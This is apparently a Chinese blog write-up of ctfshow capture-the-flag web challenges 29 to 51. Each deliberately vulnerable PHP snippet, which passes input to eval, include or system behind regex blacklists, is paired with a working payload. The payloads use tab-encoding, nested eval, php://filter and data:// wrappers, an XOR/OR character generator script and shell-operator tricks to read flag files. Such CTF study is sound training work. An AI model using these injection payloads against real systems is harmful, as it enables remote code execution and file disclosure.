ctfshow之web29~web51

目录

web29

 题解:

web30

web31 

 web32(32~36)

web33

web34

web35

web36 

web37

web38 

 web39

web40

web41 

web42 (42~51)

web43 

web44 

web45 

web50

web51


web29

前瞻知识: 

isset() #函数用于检测变量是否已设置并且非 NULL。
highlight_file(_FILE_) #它的作用是将当前文件的代码以语法高亮的形式输出到浏览器.
#该函数接受一个参数,"_FILE_",是一个特殊的变量,表示当前文件的路径。因此,这行代码的作用是将当前文件的代码以语法高亮的形式输出到浏览器。
preg_match("/flag/i",$c) #preg_match 函数用于执行一个正则表达式匹配。
#这次的判断是不能出现 flag 字样,后面 i 意思是不分辨大小写。
#匹配字符串 flag,那么使用通配符、单引号(成对)等方式简单绕过。
eval() #作用是将字符串当作有效的表达式来求值并返回计算结果。
#这个函数可以计算任何有效的表达式,包括数学运算、逻辑运算、变量赋值等等

 通配符也叫文件名替换,它主要是作用于匹配文件名,常用命令是cat、tac、ls、find、cp、mv;

 题解:

ls:查看当前目录下的文件及目录

ls /:参数/是根目录的意思,这表示显示根目录下的文件

 方法一:cat命令+通配符

?c=system('cat fl*');
?c=system('cat fla?.php');

cat主要有三大功能:

1.一次显示整个文件:cat filename

2.从键盘创建一个文件:cat > filename 只能创建新文件,不能编辑已有文件.

3.将几个文件合并为一个文件:cat file1 file2 > file

方法二: tac命令

tac 命令本质上是 cat 命令,但其目的是反向连接文件。
tac 命令用于按相反顺序逐行连接和打印文件内容。和 cat 命令一样,将每个文件连接到标准输出,但顺序相反,逐行打印,首先打印最后一行。 

 方法三:cp命令

?c=system('cp fl* 1.txt');

方法四:嵌套 eval 逃逸参数

?c=eval($_GET[a]);&a=system('cat flag.php');

cat需要在源码中查看,tac会输出

web30

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

题目过滤掉了flag,system,php;

除了system()函数外,还有其他函数可以使用,其他师傅的总结如下:

system($cmd);
assert(php语句);
preg_replace($pat,$rep,$sub)  #第一个参数,/e模式是要在正则匹配到特定特征的字符串直接当作php代码来执行,执行结果替换原字符
eval($str);
shell_exec($cmd);
exec($command, $output, $return_var)
passthru($cmd);
popen($cmd,mode);
proc_open();  #详细用法百度吧
pcntl_exec();  #如:pcntl_exec('/bin/bash','mv /tmp/test1.txt /tmp/test2.txt')
反撇号  #(shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体)

可以使用shell_exec,passthru

payload:

?c=passthru("ls");//找到flag.php
?c=passthru("cat fl*"); #或者?c=passthru("cat fl*")?>  php最后一条语句可以不加";"

cat/tac/cp/eval逃逸都可以使用 

web31 

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这里对"."和" ' "进行了转义,还限制了空格

能用嵌套eval逃逸参数

?c=eval($_GET[a]);&a=passthru("tac flag.php");

或者

?c=passthru("tac%09fl*");

%09(Tab)绕过空格

常见绕过替代:

%20 --代表url编码的空格,在空格过滤时可以代替。

%09--用于在输出或显示文本时在该位置产生一个固定的水平间距,类似于tab键。

%0a--代表换行符

%0b--用于在输出或显示文本时在该位置产生一个固定的垂直间距,类似于tab键。

%0c--

%0d--回车换行

%a0--代表的是非断行空格

%00--%00代表的是ASCII码中的空字符

 web32(32~36)

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

又增加了过滤括号

可以使用文件包含include,逃逸参数a,再使用伪协议filter

php://filter是php中独有的一种协议,它是一种过滤器,可以作为一个中间流来过滤其他的数据流。通常使用该协议来读取或者写入部分数据,且在读取和写入之前对数据进行一些过滤,例如base64编码处理,rot13处理等。

php://filter伪协议可以用于如下函数:

include()

file()

file_get_contents()

readfile()

file_put_contents()

可以用于读取、写入文件等函数,

使用方法: 

php://filter/过滤器|过滤器/resource=要过滤的数据流

题解: 

?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
?c=include%0a$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web33

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

 payload:

?c=include%09$_GET[a]?>&a=pHp://FilTer/convert.base64-encode/resource=flag.php

这里的%09是水平制表符tab,目的是为了绕过空格 

web34

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

比web33多过滤一个冒号:

同样的payload

?c=include%09$_GET[a]?>&a=pHp://FilTer/convert.base64-encode/resource=flag.php

web35

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多过滤的内容不影响,payload一样

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

 虽然这里过滤了[0~9]这些数字,但%09会被urldecoded解码成制表符,属于不可见字符

可以绕过,同样的

payload:?c=include%09$_GET[a]?>&a=pHp://FilTer/convert.base64-encode/resource=flag.php

web36 

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

 payload:?c=include%09$_GET[a]?>&a=pHp://FilTer/convert.base64-encode/resource=flag.php

web37

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

 这里有个include文件包含函数;要用到伪协议data

payload:?c=data://text/plain,<?php system("tac fla*");?> 

用php:filter不行,因为resource=flag.php,我们不能使用通配符,所以也没法绕过 

web38 

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

本来以为不影响,直接上?c=data://text/plain,<?php system("tac fla*");?> ,结果不对,

发现把php也过滤了,这里写php文件的时候,php可以用“=”代替

payload:?c=data://text/plain,<?= system("tac fla*");?> 

 web39

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

payload:?c=data://text/plain,<?= system("tac fla*");?>

web40

可以看这个师傅的blog:http://t.csdnimg.cn/lcSb2

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
} 

没有过滤英文(,采用套娃形式

payload:?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

 首先通过 pos(localeconv())得到点号(.)

该方法还有如下函数可以进行替换

dirname(_FILE_)
current(localeconv()
reset(localeconv()
pos(localeconv()
getcwd()

scandir(’.’)表示得到当前目录下的文件

?c=print_r(scandir(pos(localeconv()))); 

 array_reverse()将数组倒过来

默认指向数组下标起始位置0;

web41 

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
} 

 这里过滤很严格,将0~9和a~z的数字,字符都过滤了

因此我们想要的字符只能用不可见字符或特殊字符的16进制进行与/或运算得到

这里建议参考这位师傅的脚本blog:http://t.csdnimg.cn/ozGf2 

我这里直接把用或运算生成字符的脚本拿来了;

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
    for ($j=0; $j <256 ; $j++) {

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        //新增过滤\和@符号,因为如果用到这两个字符,那么它是不会被urldecodeed,
        //因为它不属于url中的特殊字符或不可见字符,比如\,经过urldecoded后,还是以%5c的形式存在,
        //此时会被直接过滤掉
        $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\_|\\\\|\@/i';
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
            echo "";
        }

        else{
            $a='%'.$hex_i;
            $b='%'.$hex_j;
            $c=(urldecode($a)|urldecode($b));
            if (ord($c)>=32&ord($c)<=126) {
                $contents=$contents.$c." ".$a." ".$b."\n";
            }
        }

    }
}
fwrite($myfile,$contents);
fclose($myfile);

生成一个rce_or.txt文件

system('ls'),('system')('ls'),("system")("ls")(system)('ls'),('system')(ls) 等效都是可以执行的。

payload:c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60") 

这里用hackbar提交有问题,用bp提交是可以的,

用hackbar提交,bp抓一下包,发现那个左括号和双引号也会被编码,可能问题出现在这里

 抓取的数据包时这样的

但我们应该传这种参数的post

web42 (42~51)

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

黑洞绕过:建议参考这位师傅的blog,讲得很详细:http://t.csdnimg.cn/DVPoX

分号绕过 

payload:?c=tac flag.php;//

web43 

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

||绕过 

payload:?c=tac flag.php||//

web44 

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

占位符?或者*绕过

payload:?c=tac fla?.php||//

web45 

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这里多过滤了一个空格

空格可以用%09绕过

 payload:?c=tac%09fla?.php||//

web46~web49一样

 payload:?c=tac%09fla?.php||//

web50

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

<>绕过空格

?c=tac<>fla''g.php||//

web51

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

 这里将tac给过滤了,tac命令用不了,只能用其他命令

尝试?c=nl<fla?.php||//,没有输出,原来nl命令里面用不了占位符

只能双写单引号绕过flag过滤;

payload:?c=nl<fla''.php||//          #<是输入命令

或者

payload:?c=nl<>fla''g.php||//     #<>是为了绕过空格

 这里的flag需要到源码中查看

关于文件包含漏洞,这里推荐一位师傅写的blog:http://t.csdnimg.cn/CsWOr

  • 15
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值